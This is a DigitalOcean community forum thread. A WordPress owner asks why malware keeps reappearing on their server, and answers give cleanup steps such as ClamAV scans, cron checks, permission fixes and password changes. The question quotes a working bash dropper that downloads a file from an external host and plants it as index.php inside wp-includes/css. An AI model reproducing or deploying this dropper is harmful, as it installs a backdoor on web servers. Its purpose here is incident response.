By Serkan Emir
Hello, I am using openlitespeed droplet and my wordpress website is infected. I delete virus files but they come back again. I also noticed the /var/www/xxxd3 file but even though I deleted it, it comes back again. How can I clean the server and ensure security? I am sharing the contents of the xxxd3 file below.
Please help!
#!/bin/bash
root_dir=$1
if [ ! -d ${root_dir}/wp-includes/css ];
then
mkdir -p ${root_dir}/wp-includes/css;
fi
cd ${root_dir}/wp-includes/css;
rm -f wp-sign.txt;wget -q -O wp-sign.txt http://tasks.ptfish.top/wp-sign.txt && mv wp-sign.txt index.php;
This textbox defaults to using Markdown to format your answer.
You can type !ref in this text area to quickly search our full set of tutorials, documentation & marketplace offerings and insert the link!
There’s also some useful tutorial on the Google search that you can follow, e.g. * https://askwpgirl.com/10-steps-remove-malware-wordpress-site/
It looks like your WordPress installation is infected with malware that keeps reappearing, likely due to a backdoor script or vulnerability that hasn’t been fully addressed. Here’s a step-by-step guide to cleaning your server and securing it:
Use a malware scanning tool such as ClamAV or a WordPress-specific tool like Wordfence:
sudo apt-get install clamav clamav-daemon sudo freshclam sudo clamscan -r /var/www
After scanning, manually delete any files flagged as suspicious. Specifically, ensure you remove hidden scripts like xxxd3 and any other backdoor scripts in your WordPress folders.
Malware may be using cron jobs to reinfect your system. List the cron jobs:
crontab -l sudo crontab -l
If you find any unfamiliar or suspicious entries, remove them using:
crontab -e
Set proper permissions for your WordPress files and directories to prevent unauthorized writing:
sudo find /var/www -type d -exec chmod 755 {} \;
sudo find /var/www -type f -exec chmod 644 {} \;
wp-content/uploads).Change your WordPress admin, database, and SSH passwords. Ensure you’re using strong, unique passwords.
Use tools like Tripwire or other file integrity monitoring tools to get alerts when unauthorized changes happen.
Once you’ve cleaned the site, I recommend setting up automated backups and using security plugins to actively protect your site going forward.
You can also check this question here:
https://www.digitalocean.com/community/questions/how-to-secure-wordpress-without-a-security-plugin
Regards
Get paid to write technical tutorials and select a tech-focused charity to receive a matching donation.
Full documentation for every DigitalOcean product.
The Wave has everything you need to know about building a business, from raising funding to marketing your product.
Stay up to date by signing up for DigitalOcean’s Infrastructure as a Newsletter.
New accounts only. By submitting your email you agree to our Privacy Policy
Scale up as you grow — whether you're running one virtual machine or ten thousand.
Sign up and get $200 in credit for your first 60 days with DigitalOcean.*
*This promotional offer applies to new accounts only.